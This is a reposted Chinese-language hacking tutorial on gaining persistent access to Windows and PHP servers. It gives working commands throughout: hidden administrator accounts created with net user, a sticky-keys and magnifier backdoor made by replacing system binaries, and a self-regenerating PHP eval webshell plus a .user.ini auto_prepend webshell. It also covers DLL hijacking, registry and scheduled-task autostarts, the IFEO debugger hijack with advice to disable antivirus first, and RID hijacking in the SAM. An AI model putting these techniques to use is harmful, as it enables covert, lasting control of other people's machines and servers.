net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add
PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。
可以通过注册表或直接用户管理删除隐藏的用户。
将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。
删除 C:\WINDOWS\system32\ 下的 sethc.exe 文件。
重命名 C:\WINDOWS\system32\ 下的 cmd.exe 为 sethc.exe 。
按下 5下 shift 即可弹出管理权限的 DOS 窗口。
创建 magnify.bat
@echo off
net user administrator$ woaijiushi /add
net localgroup administrators hack$ /add
%Windir%\system32\nagnify.exe
exit
利用bat2com / com2exe,BatToEXE(图形化工具)等工具把Bat文件转换成exe文件,
bat2com magnify.bat # 将magnify.bat转换成magnify.com com2exe magnify.com # 将magnify.com转换成magnify.exe
将生成的 magnify.exe 分别替换掉 C:\WINDOWS\system32\dllcache 下的 magnify.exe 和C:\WINDOWS\system32\ 下的 magnify.exe
登陆时通过组合键 Win+U 调用。
上述方法检查及清除
检查`“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”`注册表路径中的程序名称
其它适用于的辅助功能还有:
1. 屏幕键盘:C:\Windows\System32\osk.exe
2. 放大镜:C:\Windows\System32\Magnify.exe
3. 旁白:C:\Windows\System32\Narrator.exe
4. 显示开关:C:\Windows\System32\DisplaySwitch.exe
5. 应用程序开关:C:\Windows\System32\AtBroker.exe
PS:现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。
将木马文件属性改为“隐藏” ,伪装成系统文件或数据库文件等,修改时间跟系统文件时间类似。
创建 inc_data_config.php 文件
<?phpset_time_limit(0);ignore_user_abort(1); unlink(__FILE__);while(1){file_put_contents('inc_data_config.php','<?php $a=array($_REQUEST["cmd"]=>"3"); $b=array_keys($a)[0]; eval($b);?>');sleep(5);}?>
ignore_user_abort() 函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit() 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__) 删除文件本身,以起到隐蔽自身的作用。
此脚本会每5秒不断的向服务器生成一个“inc_data_config.php”的一句话木马。
清除脚本只需要重启http服务。
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
01.gif
<?php @eval($_GET['cmd']); ?>
直接访问下面链接即可利用:
http://xxx.baidu.com/index.php?cmd=phpinfo();
控制面板\所有控制面板项\用户帐户\管理帐户\启用来宾帐户
net user guest woaijiushi && net localgroup administrators guest /addnet user guest /active:yes // 激活guest用户
在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。
系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。
PS:WindowsXP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式
若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。
SafeDLLSearchMode启用后,搜索顺序如下:
1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。6. PATH环境变量中列出的目录。
SafeDLLSearchMode禁用后,搜索顺序如下:
1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。6. PATH环境变量中列出的目录。
DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。结合本文的主题,这里选择劫持系统程序。
可以劫持的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。
1. Load注册键
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一个字符串名为load键值
2. Winlogon\Userinit注册键
找到“Userinit”这个键值,这个键值默认为c:\WINNT\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
3. Explorer\Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
4. RunServicesOnce注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
5. 常用注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
测试部分成功执行。
schtasks /create /sc ONLOGON /tr C:\Windows\System32\cmd.exe /tn test
命令详解:
schtasks /create <创建新的计划任务>参数:/sc schedule <schedule>ONLOGON每当用户(任意用户)登录的时候,任务就运行.可以指定日期,或在下次用户登录的时候运行任务。/tr <TaskRun>指定任务运行的程序或命令.键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名;如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。/tn <TaskName>指定任务的名称
关机重启显示效果
指定时间运行任务
schtasks /create /sc daily /st 00:00:00 /tr calc.exe /tn test1
参数详解
/st StartTime
以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。/st 参数只对于 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。
schtasks命令详解 schtasks常见错误
删除计划任务
schtasks /Delete /TN 任务名称 /F
0x11 文件夹启动
在每次开机或重启的时候就会运行启动文件夹下的程序。
C:\Users\ppbibo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
在下面注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在此路径下创建一个子项,子项的名称为你要劫持的 exe 名称,比如说cmd.exe 然后创建一个值,值名为Debugger, 值为要执行的恶意脚本。
运行 cmd.exe 时执行成功运行 calc.exe
注意:这个会让安全软件拦截,所以要先退出杀软。
新建一个普通用户 admin
在下面注册表中
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
找到 admin 对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置(即RID的十六进制表示)
Tips:SAM下的注册表选项需要获得system权限才能读取
查看 administrator 对应键值,数值名称为F ,数值内容 0030 的位置复制到 admin 对应键值,数值名称为F ,数值内容 0030 的位置。
点击确定然后关机重启,登陆 admin 用户,效果图如下:
文章来源:HACK之道
如有侵权,请联系删除
好文推荐